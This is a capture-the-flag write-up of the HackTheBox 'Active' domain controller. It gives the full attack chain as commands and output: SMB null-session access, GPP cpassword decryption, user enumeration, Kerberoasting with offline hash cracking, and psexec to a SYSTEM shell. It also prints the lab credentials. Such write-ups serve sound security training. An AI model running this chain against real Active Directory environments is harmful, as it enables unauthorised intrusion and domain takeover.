Active

Platform	HackTheBox
OS	Windows Server 2008 R2 SP1 (Domain Controller)
Difficulty	Easy
Initial Vector	SMB null session → GPP credentials (Groups.xml)
Privesc	Kerberoasting → Administrator hash cracking → psexec

---

Information Gathering

I started with a fast SYN scan across all TCP ports to get a complete picture of the exposed attack surface before doing targeted service detection.

nmap -sS -p- --min-rate 5000 10.129.20.241 -n -Pn -oG ports

I extracted the open ports from the grepable output with a custom bash function, then ran a focused service and script scan against them.

nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 --min-rate 5000 10.129.20.241 -n -Pn

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-14 20:46:08Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1

The scan confirmed a classic AD DC profile: Kerberos (88), LDAP (389/3268), and SMB (445) all present, with the domain active.htb exposed via LDAP. The smb2-security-mode script reported signing as required, ruling out relay attacks. Clock skew was only 1 second — no correction needed before Kerberos operations. I added the domain to /etc/hosts before continuing.

echo "10.129.20.241 active.htb" >> /etc/hosts

---

Initial Access

SMB Null Session — Replication Share

With SMB exposed, the first step was checking what was accessible without any credentials.

nxc smb 10.129.20.241 -u '' -p '' --shares

A null session revealed read access to the Replication share. Non-default shares accessible without authentication are always worth exploring — they frequently contain files that were never meant to be public. I connected and explored the contents.

smbclient //10.129.20.241/Replication -N

The share mirrored the structure of SYSVOL — the domain-wide share that stores Group Policy files. Inside, I located a Groups.xml file, the target of interest.

GPP Credential Extraction

Groups.xml is a Group Policy Preferences file that older Windows deployments (pre-MS14-025) used to push local account configurations across the domain. Critically, these files stored passwords encrypted with AES-256, but Microsoft published the static decryption key in their MSDN documentation — making every cpassword field in these files trivially decryptable. I extracted the credential fields from the file.

cat Groups.xml

cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
userName="active.htb\SVC_TGS"

I decrypted the cpassword value using gpp-decrypt, which implements the known AES key against the base64-encoded ciphertext.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Credentials recovered: SVC_TGS : GPPstillStandingStrong2k18.

---

Credential Discovery

Authenticated SMB Enumeration — User Flag

With valid credentials, I re-enumerated accessible shares — ACLs change significantly between null and authenticated sessions.

nxc smb 10.129.20.241 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares

SVC_TGS had read access to NETLOGON, Replication, SYSVOL, and Users. I connected to the Users share and found the user flag on SVC_TGS's desktop.

smbclient //10.129.20.241/Users -U active.htb/SVC_TGS%'GPPstillStandingStrong2k18'

Confirming the share layout also verified that Replication was indeed a backup copy of SYSVOL — which explains why Groups.xml was accessible anonymously. Someone had exposed a SYSVOL mirror with no access control.

User Enumeration

With a working account I built a domain user list using multiple methods for coverage. The primary approach was RID brute-forcing over SMB via NetExec, which cycles through SID RID values to resolve account names and works regardless of whether --users is permitted.

nxc smb 10.129.20.241 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users --rid-brute | grep SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt 

I also enumerated via rpcclient to identify group memberships, specifically to confirm who holds Domain Admin privileges.

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.129.20.241

# Enumerate all domain users
enumdomusers

# Enumerate Domain Admins group members by RID
querygroupmem 0x200

# Resolve the member RID to a user account
queryuser 0x1f4

This confirmed that Administrator is the sole Domain Admin. I also validated the active user set through an LDAP query, which filters for enabled accounts only — the userAccountControl filter with bitmask 2 excludes disabled accounts, narrowing the list to actionable targets.

ldapsearch -x -H ldap://10.129.20.241 \
  -D "SVC_TGS" -w 'GPPstillStandingStrong2k18' \
  -b "dc=active,dc=htb" \
  -s sub "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" \
  sAMAccountName | grep sAMAccountName

sAMAccountName: Administrator
sAMAccountName: SVC_TGS

The -x flag uses simple authentication instead of SASL, -b sets the search base DN, -s sub performs a recursive subtree search, and the LDAP filter bitwise operation 1.2.840.113556.1.4.803:=2 matches accounts where the ACCOUNTDISABLE bit is set — inverting it with ! returns only enabled accounts.

---

Privilege Escalation

AS-REP Roasting

With the user list ready I first checked for accounts with Kerberos pre-authentication disabled, which would allow requesting crackable ticket material without valid credentials. I confirmed the clock skew was negligible before proceeding.

timedatectl set-ntp false
ntpdate -u 10.129.20.241

GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.20.241 'active.htb/'

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DC$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SVC_TGS doesn't have UF_DONT_REQUIRE_PREAUTH set

No accounts had pre-authentication disabled. AS-REP roasting yielded nothing, so I moved to Kerberoasting.

Kerberoasting

With valid SVC_TGS credentials I requested TGS tickets for every user account with a registered Service Principal Name. These tickets are encrypted with the service account's NTLM hash and can be cracked offline.

GetUserSPNs.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.20.241 -request -outputfile kerberoast_hashes.txt

A $krb5tgs$23$ hash was returned for the Administrator account — notable because an SPN registered directly to the built-in Administrator account is highly unusual and indicates a deliberate or accidental misconfiguration. I cracked the hash offline with John.

john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Administrator credentials recovered: Administrator : Ticketmaster1968.

Shell via psexec

I verified the credentials over SMB before attempting remote execution.

nxc smb 10.129.20.241 -u 'Administrator' -p 'Ticketmaster1968'

SMB   10.129.20.241   445   DC   [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

WinRM (5985) was not available for this account, so I used psexec.py instead. Impacket's psexec.py authenticates over SMB, uploads a service binary to a writable share, and registers it as a Windows service to spawn a SYSTEM-level shell.

psexec.py active.htb/Administrator:'Ticketmaster1968'@10.129.20.241

Shell obtained as NT AUTHORITY\SYSTEM. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.

---

Conclusion

1. A full TCP scan identified a Windows Server 2008 R2 SP1 Domain Controller with the domain active.htb and SMB exposed on port 445.
2. A null session against SMB revealed read access to the Replication share — an unauthenticated copy of SYSVOL containing Group Policy Preferences files.
3. Groups.xml inside the share contained a cpassword field for SVC_TGS; gpp-decrypt recovered the plaintext password, yielding SVC_TGS : GPPstillStandingStrong2k18 and the user flag via the Users share.
4. Authenticated enumeration via NetExec, rpcclient, and ldapsearch confirmed two active domain accounts: SVC_TGS and Administrator.
5. AS-REP roasting found no vulnerable accounts; Kerberoasting with SVC_TGS credentials returned a TGS hash for Administrator, whose SPN registration was itself a misconfiguration.
6. John cracked the hash to Administrator : Ticketmaster1968; psexec.py delivered a SYSTEM shell and the root flag.

The system fell because a SYSVOL backup was exposed to unauthenticated SMB access, a pre-MS14-025 GPP credential was left unrotated for years, and the domain Administrator account had a Service Principal Name registered against it — making it directly Kerberoastable by any authenticated user.